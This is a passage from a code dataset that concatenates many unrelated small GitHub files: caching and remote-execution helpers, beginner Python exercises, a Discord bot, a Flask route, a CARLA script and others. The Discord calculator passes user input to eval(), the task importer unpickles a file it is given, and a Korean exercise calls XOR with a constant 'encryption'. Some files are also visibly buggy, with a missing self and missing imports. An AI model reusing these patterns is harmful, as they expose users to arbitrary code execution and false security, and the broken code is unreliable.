**kwargs)\n boundArgs.apply_defaults()\n boundArgsOrderedDict = boundArgs.arguments\n boundArgsTuple = tuple(boundArgsOrderedDict.items())\n \n callString = \"{}({})\".format(funcName,\n \", \".join([\"{}={}\".format(x, repr(y))\n for x, y in boundArgsOrderedDict.items()]))\n \n if ((boundArgsTuple in funcCache) and\n (cache[\"__info__\"][\"depth\"] >= cache[\"__info__\"][\"ignoreDepth\"])):\n print(\"Cache hit: {}\".format(callString))\n else:\n print(\"Cache miss: {}\".format(callString))\n \n try:\n cache[\"__info__\"][\"depth\"] += 1\n funcCache[boundArgsTuple] = func(*args, **kwargs)\n finally:\n cache[\"__info__\"][\"depth\"] -= 1\n \n cache[\"__info__\"][\"modified\"] = True\n \n return funcCache[boundArgsTuple]\n \n @atexit.register\n def saveCache():\n if \"__info__\" in cache:\n if cache[\"__info__\"][\"modified\"]:\n print(\"Saving cache file \\\"{}\\\"...\".format(path))\n cacheToSave = {x : dict(y) for x, y in cache.items()\n if x != \"__info__\"}\n while True:\n try:\n with lzma.open(path, \"wb\") as f: pickle.dump(cacheToSave, f)\n cache[\"__info__\"][\"modified\"] = False\n break\n except KeyboardInterrupt:\n pass\n else:\n print(\"Not saving cache file {}, as it doesn't seem to be \"\n \"modified.\".format(path))\n else:\n print(\"Not saving cache file {}, as it already seems to be \"\n \"saved.\".format(path))\n \n return cacheLookup\n\ndef clearCacheFile(path=None):\n path = getCachePath(path)\n if os.path.isfile(path): os.remove(path)\n\nclass CacheFileIgnorer(object):\n def __init__(path=None, delta=None):\n path = getCachePath(path)\n self.cache = cacheCache[path]\n self.delta = delta\n \n def __enter__(self):\n self.cache[\"__info__\"][\"ignore_depth\"] += self.delta\n print(\"Increasing ignore depth of cache file {} to {}.\".format(\n self.path, self.cache[\"__info__\"][\"ignore_depth\"]))\n \n def __exit__(self, exceptionType, exceptionValue, traceback):\n self.cache[\"__info__\"][\"ignore_depth\"] -= self.delta\n print(\"Decrasing ignore depth of cache file {} to {}.\".format(\n self.path, self.cache[\"__info__\"][\"ignore_depth\"]))\n\n\n\nDEFAULT_REMOTELY_URL = \"neon.informatik.uni-stuttgart.de\"\nDEFAULT_REMOTELY_PORT = 8075\n\nremotelyServerCache = {}\n\ndef readRemotelyKey():\n keyPath = os.path.expanduser(\"~/.remotely_key.txt\")\n \n if os.path.isfile(keyPath):\n with open(keyPath, \"r\") as f: key = f.read().strip()\n else:\n key = secrets.token_hex(32)\n with open(keyPath, \"w\") as f: f.write(key)\n \n return key\n\ndef checkRemotelyConnection(url, port, key):\n previousTimeout = socket.getdefaulttimeout()\n socket.setdefaulttimeout(0.1)\n \n @helper.remotely.remotely(key, url, port)\n def dummyFunction(a, b):\n return a + b\n \n try:\n result = dummyFunction(3, 4)\n return (result == 7)\n except Exception as exception:\n return False\n finally:\n socket.setdefaulttimeout(previousTimeout)\n\ndef isRemotelyConnected(url=DEFAULT_REMOTELY_URL):\n return remotelyServerCache[url][\"isConnected\"]\n\ndef startRemotelyServer(url, port, key):\n cmd = (\"PYTHONPATH=\\\"\"\n \"$REAL_HOME/git/thesis/py:\"\n \"$REAL_HOME/git/thesis/gfx/py:\"\n \"$REAL_HOME/git/thesis/build/cpp/sgpp/lib:\"\n \"$REAL_HOME/git/thesis/build/cpp/sgpp/lib/pysgpp:\"\n \"$PYTHONPATH\"\n \"\\\" \"\n \"LD_LIBRARY_PATH=\\\"\"\n \"$REAL_HOME/git/thesis/build/cpp/sgpp/lib/sgpp:\"\n \"$LD_LIBRARY_PATH\"\n \"\\\" \"\n \"BUILD_DIR=\\\"$REAL_HOME/git/thesis/build/gfx\\\" \"\n \"REMOTELY_KEY=\\\"{}\\\" \"\n \"nice -n 19 python3 -c '\"\n \"import pysgpp; import multiprocessing; \"\n \"import helper.remotely; import os; \"\n \"pysgpp.omp_set_num_threads(multiprocessing.cpu_count()); \"\n \"server = helper.remotely.create_remotely_server(\"\n \"os.environ[\\\"REMOTELY_KEY\\\"], {}); \"\n \"server.serve_forever()\"\n \"' /dev/null 2>&1 &\").format(key, port)\n args = [\"ssh\", url, cmd]\n subprocess.run(args, check=True, timeout=2)\n print(\"Starting remotely server on {} with port {} and key {}.\".format(\n url, port, key))\n time.sleep(1)\n\ndef executeRemotely(func, url=DEFAULT_REMOTELY_URL,\n autoStart=2, fallback=True):\n if \"REMOTELY_KEY\" in os.environ:\n warnings.warn(\"Environment variable REMOTELY_KEY is set, \"\n \"which means that we are already running remotely. \"\n \"Using local fallback.\")\n return func\n \n if url in remotelyServerCache:\n cache = remotelyServerCache[url]\n isConnected = cache[\"isConnected\"]\n if isConnected: port, key = cache[\"port\"], cache[\"key\"]\n else:\n isConnected = False\n \n if (not isConnected) and (autoStart >= 1):\n startPort = DEFAULT_REMOTELY_PORT\n key = readRemotelyKey()\n \n for port in range(startPort, startPort+5):\n if checkRemotelyConnection(url, port, key):\n isConnected = True\n break\n \n try:\n startRemotelyServer(url, port, key)\n except Exception as exception:\n pass\n else:\n if checkRemotelyConnection(url, port, key):\n isConnected = True\n break\n \n if autoStart < 2: break\n \n if isConnected:\n remotelyServerCache[url] = {\"isConnected\" : True,\n \"port\" : port, \"key\" : key}\n else:\n remotelyServerCache[url] = {\"isConnected\" : False}\n \n if isConnected:\n print(\"Connected to remotely server on {} \"\n \"with port {} and key {}.\".format(url, port, key))\n return helper.remotely.remotely(key, url, port)(func)\n else:\n if fallback:\n warnings.warn(\"Could not connect to remotely server, \"\n \"using local fallback.\")\n return func\n else:\n raise RuntimeError(\"Could not connect to remotely server.\")\n","repo_name":"valentjn/thesis","sub_path":"py/helper/hpc.py","file_name":"hpc.py","file_ext":"py","file_size_in_byte":7873,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"10565345242","text":"print(\"Gerador de PA...\")\nn1 = int(input(\"Primeiro termo da sua pa: \"))\nrazao = int(input(\"Razao de sua pa: \"))\ntermo = n1\ncont = 1\nwhile cont <= 10:\n print(\"{} -> \".format(termo), end='')\n cont += 1\n termo += razao\nprint(\"FIM\")","repo_name":"joaogkt/exercicios","sub_path":"ex007.py","file_name":"ex007.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"38463615065","text":"from sys import exit, argv\n\n\n# See this link for detail\n# http://grail.cs.washington.edu/projects/bal/\ndef main(args=None):\n with open(args[-1], 'r') as f:\n all_line = f.readlines()\n index = 0\n all_data = []\n all_observations = []\n all_camera_params = []\n all_points = []\n num_cameras = 0\n num_points = 0\n num_observations = 0\n num_point_params = 3\n num_camera_param = 9\n point = []\n camera_param = []\n for line in all_line:\n values_str = line.split(' ')\n values = [float(value_str) for value_str in values_str if value_str != '']\n\n if index == 0:\n # \n num_cameras = values[0]\n num_points = values[1]\n num_observations = values[2]\n print('num_camera : {}'.format(num_cameras))\n print('num_observations: {}'.format(num_observations))\n print('num_points : {}'.format(num_points))\n elif index < num_observations + 1:\n # \n # \n # \n all_observations.append(values)\n elif index < num_camera_param * num_cameras + num_observations + 1:\n camera_param.append(values[0])\n if (len(camera_param) == num_camera_param):\n all_camera_params.append(camera_param)\n camera_param = []\n else:\n point.append(values[0])\n if (len(point) == num_point_params):\n all_points.append(point)\n point = []\n\n index += 1\n\n all_data.append(all_observations)\n all_data.append(all_camera_params)\n all_data.append(all_points)\n\n file_handle = cv2.FileStorage('/tmp/cv_ba_in_large.yaml', cv2.FileStorage_WRITE)\n file_handle.write('observations', np.array(all_data[0]))\n file_handle.write('camera_parameters', np.array(all_data[1]))\n file_handle.write('points', np.array(all_data[2]))\n\n print('done')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fugashy/fgs_data_generator","sub_path":"fgs_data_generator/convert_ba_in_large_to_cv.py","file_name":"convert_ba_in_large_to_cv.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"24821390288","text":"from discord.ext import commands\nimport random\n\n\nclass Smart(commands.Cog, description = \"Comandos para usuabilidades.\"):\n \"\"\"A lot of Smart Commands\"\"\"\n def __init__(self, bot):\n self.bot = bot\n\n #@bot.command -> @commands.command\n @commands.command(name=\"calcular\", help=\"Digite -calcular e adicione a equação.\") #Calculadora\n async def calculate_expression(self, ctx, *expression):\n expression = \"\".join(expression)\n response = eval(expression)\n\n await ctx.send(\"A resposta é: \" + str(response))\n\n @commands.command(aliases =[\"fp\", \"coc\"], help =\"Digite -fp, para jogar cara ou coroa.\")\n async def flipcoin(self, ctx):\n variavel = random.randint(1,2)\n if variavel == 1:\n await ctx.send(\"Você tirou ||cara||!\")\n elif variavel == 2:\n await ctx.send(\"Você tirou ||coroa||!\")\n\n\ndef setup(bot):\n bot.add_cog(Smart(bot))\n\n ","repo_name":"NathanSGomes/Orpheus","sub_path":"commands/smarts.py","file_name":"smarts.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"22381382818","text":"import os\nimport sys\nimport re\n\n#암호화하는 프로그램과 복호화 하는 프로그램은 함수로 작성\ndef makePW(input) :\n return input^123\n\ndef makeRC(input):\n return input^123\n\ntmp = 0\n#데이터 출력하는 프로그램은 메인에서\n\nwhile True: #반복문으로 전체 프로그램 반복\n\n menu = int(input(\"1: 입력숫자 암호화 2: ���력한 숫자 복호화 3. 프로그램 종료 \\n\"))\n if menu==1:\n num = int(input(\"숫자 입력 : \"))\n tmp = makePW(num)\n print(\"암호화된 숫자 :\" ,str(tmp))\n path = str(input(\"저장할 파일경로와 파일명을 입력하세요(default= C:\\\\parser\\\\)\\n\"))\n if os.path.split(path)[1] == path:\n path = \"C:\\\\parser\\\\\" + path\n f = open(path, \"a\", encoding=\"utf-8\")\n path =\"\" #path값 초기화\n f.write(\"입력 : \"+str(num)+\"\\n암호화된 숫자 :\"+str(tmp)+\"\\n\")\n f.close()\n\n elif menu==2:\n try:\n path = str(input(\"불러올 파일경로와 파일명을 입력하세요(default= C:\\\\parser\\\\)\\n\"))\n #print(os.path.split(path)[1])\n if os.path.split(path)[1]==path:\n # print(\"C:\\\\\\\\\"+path)\n path = \"C:\\\\parser\\\\\" + path\n\n f2 = open(path, \"r\", encoding=\"utf-8\")\n path=\"\" #path값 초기화\n file = f2.readlines()\n inputlist = []\n pwlist = []\n check=1\n for line in file:\n cw = re.compile(r'\\b\\d+')\n #print(type(cw.findall(line))) #리스트 출력 findall\n #print(type(\"\".join(cw.findall(line)))) #리스트를 문자열로\n print(line)\n if check%2==1:\n inputlist.append(\"\".join(cw.findall(line)))\n else :\n pwlist.append(\"\".join(cw.findall(line)))\n\n\n check+=1\n\n whatinfo=input(\"1: 입력값 받기 , 2: 암호화된 숫자 받기\\n\")\n whatcount =int(input(\"몇 번째 값을 받으시겠습니까?\\n\"))\n if whatinfo==\"1\":\n print(inputlist[whatcount-1])\n elif whatinfo==\"2\":\n print(pwlist[whatcount-1])\n f2.close()\n except:\n print(\"입력오류입니다\")\n\n elif menu==3:\n print(\"프로그램 종료\")\n sys.exit()\n retry = input(\"계속하시겠습니까? Y or N\\n \")\n if retry == \"Y\" or retry == \"y\":\n continue\n elif retry == \"N\" or retry == \"n\":\n print(\"프로그램 종료\")\n sys.exit()\n else:\n print(\"잘못입력하셨습니다. 계속 진행합니다.\")\n\nf.close()\n#사용자 입력 암호화 데이터 파일에 저장\n\n\n\n\n\n#복호화는 사용자로부터 파일 입력하고 해당 파일 데이터를 이용,존재하지 않는 파일은 입력오류 출력\n\n\n#파일 이름은 사용자로부터 입력받음. 사용자가 파일명만 입력하면 c:\\\\에 해당파일을 저장.\n#파일 경로까지 입력하면 해당 경로에 저장한다.(디렉터리 없으면 새로 생성)","repo_name":"glee1228/Study_Python-R","sub_path":"python/datainput/TrainingCode.py","file_name":"TrainingCode.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"11226945426","text":"import sys\nimport os\nimport pwd\nimport pickle\n\n# g-s modules\nimport config\nimport crontab\nimport at\nfrom db import *\n\n# NEEDED FOR SUBMODULES\n##\n## I18N\n##\nimport gettext\ngettext.install(config.GETTEXT_PACKAGE(), config.GNOMELOCALEDIR(), unicode=1)\n\nposcorrect_isset = os.getenv (\"POSIXLY_CORRECT\", False)\nmanual_poscorrect = False\nif poscorrect_isset == False:\n os.environ[\"POSIXLY_CORRECT\"] = \"enabled\"\n manual_poscorrect = True\n\n\n# Parse arguments\nif len(sys.argv) == 2:\n outf = sys.argv[1]\n stdo = False\nelse:\n outf = False\n stdo = True\n\n\nuid = os.geteuid ()\ngid = os.getegid ()\nuser = pwd.getpwuid (uid)[0]\nhome_dir = pwd.getpwuid (uid)[5]\nuser_shell = pwd.getpwuid (uid)[6]\nif uid == 0: is_root = True\nelse: is_root = False\n\nsys.stderr.write(_(\"gTock: Import tasks\") + \"\\n\")\nif (\"-h\" in sys.argv) or (\"--help\" in sys.argv):\n sys.stderr.write(_(\"Usage: %s [input file]\" % sys.argv[0]) + \"\\n\")\n sys.stderr.write(_(\" No file means import from stdin.\") + \"\\n\\n\")\n sys.exit(0)\n\n# Check file\nif outf != False:\n if not os.access (outf, os.F_OK):\n sys.stderr.write (_(\"File does not exist.\") + \"\\n\")\n sys.exit (1)\n\nif stdo:\n of = sys.stdin\n sys.stderr.write (_(\"Reading from stdin..\") + \"\\n\")\nelse:\n try:\n of = open(outf, 'rb')\n # Reading file\n sys.stderr.write (_(\"Reading file: %s..\" % outf) + \"\\n\")\n except:\n sys.stderr.write (_(\"Could not open file for reading: %s\" % outf) + \"\\n\")\n sys.exit (1)\n\n\nd = pickle.load (of)\n\nc = crontab.Crontab (is_root, user, uid, gid, home_dir)\nc.read (easy = False)\n\ncrontabc = 0\nfor task in d.crontab:\n sys.stderr.write(_(\"Importing crontab task: %s\" % task[0]) + \"\\n\")\n (minute, hour, dom, moy, dow, command) = c.parse (task[3], True)\n c.append (minute, hour, dom, moy, dow, command, task[4], task[0])\n crontabc = crontabc + 1\n\n\n# AT\na = at.At(is_root, user, uid, gid, home_dir, manual_poscorrect)\na.read ()\n\natc = 0\nfor task in d.at:\n sys.stderr.write(_(\"Importing at task: %s\" % task[0]) + \"\\n\")\n a.append (task[2] + \" \" + task[1], task[4], task[0], task[5])\n atc = atc + 1\n\nsys.stderr.write (gettext.ngettext(\"Finished, imported: %d task total.\",\n \"Finished, imported: %d tasks total.\",\n atc + crontabc) % (atc + crontabc) + \"\\n\")\n\n","repo_name":"rizalmart/gtock","sub_path":"gtock-src/usr/share/gtock/gtock-import.py","file_name":"gtock-import.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"} +{"seq_id":"35905344422","text":"class Data_Struct:\n '''于接收读取的测试数据,记录要写入测试报告的数据'''\n\n def __init__(self):\n self.case_id = 0 # 用例 ID\n self.http_method = '' # 接口 http 方法\n self.request_name = '' # 接口 ming\n self.request_url = '' # 接口请求 url\n self.request_param = '' # 请求参数\n self.test_method = '' # 测试方法\n self.test_desc = '' # 测试(用力)描述\n self.result = '' # 测试结果\n self.reason = '' # 失败原因\n","repo_name":"goodboyxzmkk/youlebao_api","sub_path":"common/orther/data_struct.py","file_name":"data_struct.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"73039970136","text":"def create_plot(wire):\n plot = []\n x, y = 0, 0\n for cmd in wire:\n for _ in range(int(cmd[1:])):\n if cmd[0] == 'R':\n x += 1\n elif cmd[0] == 'L':\n x -= 1\n elif cmd[0] == 'U':\n y += 1\n elif cmd[0] == 'D':\n y -= 1\n else:\n raise AssertionError\n plot.append((x, y))\n return plot\n\n\ndef parse(file):\n with open(file, 'r') as f:\n data = [cmd.split(',') for cmd in f.read().splitlines()]\n return data\n\n\ndef solve(data):\n\n wire1 = create_plot(data[0])\n wire2 = create_plot(data[1])\n intersections = set(wire1).intersection(set(wire2))\n distances = {len(wire1[:wire1.index(i) + 1]) + len(wire2[:wire2.index(i) + 1])\n for i in intersections}\n\n return min(distances)\n\n\nif __name__ == '__main__':\n\n EXPECTED = 610\n test = solve(parse('../test.in'))\n assert test == EXPECTED, f'Got {test} should be {EXPECTED}'\n print(solve(parse('../input.in')))\n","repo_name":"sqrtxander/adventofcode","sub_path":"2019/day03/python/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"34281060551","text":"import sys\r\nsys.stdin = open(r\"C:\\Users\\LGE\\Desktop\\코딩테스트 합격\\Algorithm_J\\8월\\0824_codingtest\\박스.txt\", \"r\", encoding=\"utf-8\")\r\n\r\n# 행이 아닌, 열 별로 박스의 위치를 2차원 리스트에 저장한다. _ 2차원 리스트에 대한 공부가 많이 필요함 \r\n# 열별로 박스의 개수를 구하고 바닥을 행의 개수로 설정한다. \r\n# 열의 박스의 위치를 역순으로 탐색하며 상자를 만나면 바닥과의 차이(박스의 이동거리)를 구하여 이동 거리에 합하고, 바닥은 1 높인다. \r\n# 모든 열을 돌며 2~3 과정을 반복한다. \r\n# 모든 박스가 이동한 거리를 출력한다. \r\n\r\nfor _ in range(int(input())):\r\n n, m = map(int,input().split())\r\n box = [input().split() for _ in range(n)] # 전체 리스트 생성\r\n ans = 0\r\n for j in range(m):\r\n cnt = 0\r\n for i in range(n-1,-1,-1): # 맨 뒤 리스트부터 거꾸로 탐색\r\n if field[i][j] == '1':\r\n ans += cnt\r\n else:\r\n cnt += 1 # 인덱스 값을 찾는 대신, 0이 나올 때마다 1씩 임시 카운트 값(cnt)을 추가해주면 된다.\r\n print(ans)","repo_name":"oiosu/Algorithm_J","sub_path":"0824_codingtest/박스.py","file_name":"박스.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"25294924437","text":"from flask import Blueprint, Response,request,session\nimport json\nfrom modal.db.connection import connection\nfrom modal.authentication.jwt_services import login_decorator\n\nuser_app= Blueprint('user_app', __name__)\n\n@user_app.route('/user_favorite_books',methods=['GET'])\n@login_decorator\ndef user_favorite_books(user_id):\n try:\n get_user_favorite_resp = connection.get_user_favorite(user_id=user_id)\n\n if get_user_favorite_resp[\"statusCode\"]==200:\n response_data = {\"statusCode\":200,\"body\":get_user_favorite_resp[\"body\"]}\n else:\n raise Exception(\"Problem in get_user_favorite_resp \"+str(get_user_favorite_resp) )\n\n response = Response(json.dumps(response_data), mimetype='application/json', status=response_data[\"statusCode\"])\n return response\n except Exception as e:\n print(\"error in login\", e)\n response_data = {'status': 500, 'message': 'Internal Server Error ' + str(e)}\n response = Response(json.dumps(response_data), mimetype='application/json', status=response_data[\"status\"])\n return response\n\n\n\n\n\n","repo_name":"nidhi-simangels/find_my_book","sub_path":"apis/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"39405631608","text":"\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport pandas as pd\r\n\r\nclass Application(ttk.Frame):\r\n \r\n def __init__(self, main_window):\r\n super().__init__(main_window)\r\n main_window.title(\"SETUP\")\r\n self.MGC_value = tk.BooleanVar(self)\r\n self.MGCplus = ttk.Checkbutton(self, text=\"MGCPlus\",variable=self.MGC_value)\r\n self.MGCplus.grid(row=0,column=0)\r\n\r\n self.Lakeshore_value = tk.BooleanVar(self)\r\n self.Lakeshore = ttk.Checkbutton(self, text=\"Lakeshore\",variable=self.Lakeshore_value)\r\n self.Lakeshore.grid(row=1,column=0)\r\n\r\n self.Si155_value = tk.BooleanVar(self)\r\n self.Si155 = ttk.Checkbutton(self, text=\"LUNA SI155\",variable=self.Si155_value)\r\n self.Si155.grid(row=2,column=0)\r\n\r\n self.Vaccum_value = tk.BooleanVar(self)\r\n self.Vaccum = ttk.Checkbutton(self, text=\"Vaccum sensor\",variable=self.Vaccum_value)\r\n self.Vaccum.grid(row=3,column=0)\r\n\r\n self.MGCplus_conf=ttk.Button(self, text =\"Config\", command = lambda:self.emergente_guardar('.\\\\configurations\\\\MGC_plus.txt')).grid(row=0,column=4) \r\n self.Vaccum_conf=ttk.Button(self, text =\"Config\", command =lambda:self.emergente_guardar('.\\\\configurations\\\\pressure.txt')).grid(row=3,column=4) \r\n\r\n \r\n self.place(width=300, height=200)\r\n\r\n #defino ahora los botones:\r\n \r\n \r\n def emergente_guardar(self,a):\r\n\r\n #primero se leen las caracteristicas del MGCplus:\r\n MGC=pd.read_csv(a,sep=';')\r\n def guardar():\r\n for i in MGC.index:\r\n MGC['Valor'].loc[i]= entradas[i].get()\r\n print(MGC)\r\n MGC.to_csv(a,sep=';',index=False)\r\n\r\n ventana=tk.Tk()\r\n nombres=[]\r\n entradas=[]\r\n valores=[]\r\n valor=tk.StringVar()\r\n for i in MGC.index:\r\n nombres.append(ttk.Label(ventana, text=MGC.Variable.loc[i]).grid(row=i,column=0))\r\n valor.set(str(MGC.Valor.loc[i]))\r\n actual=str(MGC['Valor'].loc[i])\r\n valores.append(tk.StringVar())\r\n #\r\n entradas.append(ttk.Entry(ventana,textvariable=valores[-1]))\r\n entradas[-1].grid(row=i,column=1)\r\n entradas[-1].insert(0,actual)\r\n \r\n ttk.Button(ventana,command=guardar,text='Save').grid(column=3)\r\n\r\n \r\n \r\n \r\n ventana.mainloop()\r\n \r\nclass Ventana_parada(object):\r\n def __init__(self):\r\n import tkinter as tk\r\n print('pulsar rec para comenzar')\r\n self.grabar=False\r\n def ejecutar(self):\r\n \r\n ventana=tk.Tk()\r\n boton_parada=ttk.Button(ventana, text =\"STOP\", command = lambda:self.stop()).grid(row=0,column=0)\r\n boton_rec=ttk.Button(ventana, text =\"REC\", command = lambda:self.rec()).grid(row=0,column=1)\r\n ventana.mainloop()\r\n def rec(self):\r\n self.grabar=True\r\n def stop(self):\r\n self.grabar=False\r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n","repo_name":"MiguelGonzdelVal/Adquisicion_lab","sub_path":"ventanas_confi.py","file_name":"ventanas_confi.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"2667333150","text":"import torch\nimport argparse\nimport numpy as np\nfrom features import Features\nfrom sklearn.metrics import *\nfrom torch.autograd import Variable\nimport rules\nfrom config_ctc import parameters_ctc\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nif device=='cuda':\n torch.set_default_tensor_type('torch.cuda.FloatTensor')\n\nclass NeuralClassifier(torch.nn.Module):\n def __init__(self, input_feat_dim, target_label_dim, vocab_size, pre_word_embeds=None):\n super(NeuralClassifier, self).__init__()\n\n \n hidden_layer_node = parameters_ctc['hidden_layer_1_dim']\n self.Linear_Layer_1=torch.nn.Linear(input_feat_dim, hidden_layer_node)\n \n self.Tanh_Layer=torch.nn.Tanh()\n \n\n self.Word_Embeds = torch.nn.Embedding(vocab_size, parameters_ctc['word_dim'])\n if pre_word_embeds.any():\n self.Word_Embeds.weight = torch.nn.Parameter(torch.FloatTensor(pre_word_embeds))\n\n self.Linear_Layer_2=torch.nn.Linear(hidden_layer_node, target_label_dim)\n self.Linear_Layer_2=torch.nn.Linear(hidden_layer_node, hidden_layer_node)\n\n self.Linear_Layer_3=torch.nn.Linear(hidden_layer_node+parameters_ctc['word_dim'], target_label_dim)\n\n \n\n self.Softmax_Layer=torch.nn.Softmax(dim=1)\n\n\n self.loss_fn = torch.nn.CrossEntropyLoss()\n\n\n def forward(self, features, word_ids):\n scores = self.get_scores(features, word_ids)\n # print(device)\n\n if torch.cuda.is_available():\n # print(\"---------------------\")\n scores_ = scores.cpu().data.numpy()\n else:\n scores_ = scores.data.numpy()\n predictions = [np.argmax(sc) for sc in scores_]\n\n \n return scores, predictions\n\n \n def get_scores(self, features, word_ids):\n features_x = Variable(torch.FloatTensor(features).to(device))\n word_ids=word_ids.to(device)\n\n liner1_op = self.Linear_Layer_1(features_x)\n tanh_op = self.Tanh_Layer(liner1_op)\n\n # liner2_op = self.Linear_Layer_2(tanh_op)\n # tanh_op = self.Tanh_Layer(liner2_op)\n\n\n\n word_embeds=self.Word_Embeds(word_ids)\n\n # print(type(tanh_op))\n # print(tanh_op.size())\n # print(type(word_embeds))\n # print(word_embeds.size())\n\n\n\n features_embed_cat = torch.cat((word_embeds,tanh_op ),dim=1)\n\n liner3_op=self.Linear_Layer_3(features_embed_cat)\n\n # print(features_embed_cat.size())\n\n \n scores = self.Softmax_Layer(liner3_op)\n\n return scores\n\n def CrossEntropy(self, features, word_ids, gold_labels):\n # features_x = Variable(torch.FloatTensor(features))\n scores= self.get_scores(features, word_ids)\n loss = self.loss_fn(scores, gold_labels)\n\n return loss\n\n\n def predict(self, features, word_ids):\n scores= self.get_scores(features, word_ids).data.numpy()\n predictions = [np.argmax(sc) for sc in scores]\n\n return predictions\n\n\n\n","repo_name":"jeniyat/StackOverflowNER","sub_path":"code/BERT_NER/utils_ctc/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"68"} +{"seq_id":"74908753495","text":"from django import forms\n\nclass LoginForms(forms.Form):\n nome_login = forms.CharField(\n label='Nome', \n required=True,\n max_length=30,\n widget=forms.TextInput(\n attrs={ \n \"class\" : \"form-control\",\n \"placeholder\" : \"Usuário\"\n }\n )\n )\n\n senha = forms.CharField(\n label='Senha', \n required=True,\n max_length=30,\n widget=forms.PasswordInput(\n attrs={ \n \"class\" : \"form-control\", \n \"placeholder\" : \"Digite sua Senha\"\n }\n )\n )","repo_name":"kemuelkesley/helpdesk-faculdade","sub_path":"usuarios/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"16547456134","text":"import carla\nimport random\nimport math\nimport time\n\nactor_list = []\n\nclient = carla.Client(\"localhost\", 2000)\nworld = client.get_world()\nblueprint_library = world.get_blueprint_library()\nspawn_points = world.get_map().get_spawn_points()\n\nvehicles_bp = random.choice(blueprint_library.filter(\"vehicle\"))\n\nvehicle = world.try_spawn_actor(vehicles_bp, random.choice(spawn_points))\n\nspectator = world.get_spectator() \ntransform = carla.Transform(vehicle.get_transform().transform(carla.Location(x=-4,z=2.5)),vehicle.get_transform().rotation) \nspectator.set_transform(transform) \n\nfor i in range(30): \n vehicle_bp = random.choice(blueprint_library.filter('vehicle')) \n npc = world.try_spawn_actor(vehicle_bp, random.choice(spawn_points)) \n\n\nfor actor in world.get_actors().filter(\"*vehicle*\"):\n actor.set_autopilot(True)\n\n\ncamera_bp = blueprint_library.find('sensor.camera.rgb')\ncam_transformation = carla.Transform(carla.Location(z=2))\ncamera = world.try_spawn_actor(camera_bp, cam_transformation, attach_to=vehicle)\n\ncamera.listen(lambda image: image.save_to_disk('fundamentalsOutput/%06d.png' % image.frame))\n\ncamera.stop()\n","repo_name":"eddieward21/AI_Agent","sub_path":"Eddie/fundamentals.py","file_name":"fundamentals.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"3037676212","text":"from django import forms\r\nfrom django.contrib.auth.models import User\r\nfrom django.contrib.auth.forms import UserCreationForm\r\nfrom .models import *\r\n\r\nclass CategoryForm(forms.ModelForm):\r\n class Meta:\r\n model = Category\r\n fields = [\"name\"]\r\n\r\n\r\nclass ProfileForm(forms.ModelForm):\r\n pref_cate = forms.ModelMultipleChoiceField(\r\n queryset=Category.objects.all(), widget=forms.CheckboxSelectMultiple, required=False)\r\n profile_pic = forms.ImageField(required=False)\r\n\r\n class Meta:\r\n model = Profile\r\n fields = [\"profile_pic\", \"email\", \"dob\", \"pref_cate\"]\r\n\r\n\r\nclass ProfileUpdateForm(forms.ModelForm):\r\n pref_cate = forms.ModelMultipleChoiceField(\r\n queryset=Category.objects.all(), widget=forms.CheckboxSelectMultiple, required=False)\r\n profile_pic = forms.ImageField(required=False)\r\n dob = forms.DateField(required=False)\r\n email = forms.EmailField(required=True)\r\n\r\n class Meta:\r\n model = Profile\r\n fields = [\"profile_pic\", \"email\", \"dob\", \"pref_cate\"]\r\n\r\n\r\nclass CommentForm(forms.ModelForm):\r\n class Meta:\r\n model = Comment\r\n fields = [\"content\"]\r\n","repo_name":"tobywynne-mellor/newspaper-app","sub_path":"newspaper_site/newspaper_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"19351412479","text":"# Leetcode #961\ndef repeatedNTimes(A) -> int:\n \"\"\" In a array A of size 2N, there are N+1 unique elements, and exactly one of these elements is repeated N times.\"\"\"\n\n N = len(A)/2\n charCount = {}\n\n for char in A:\n charCount[char] = charCount.get(char, 0) + 1\n if charCount[char] == N:\n return char\n","repo_name":"ichan266/Code-Challenges","sub_path":"Leetcode/Past Code Challenges/03-14-21 RepeatNTimes.py","file_name":"03-14-21 RepeatNTimes.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32708203984","text":"import numpy as np\nimport tensorflow as 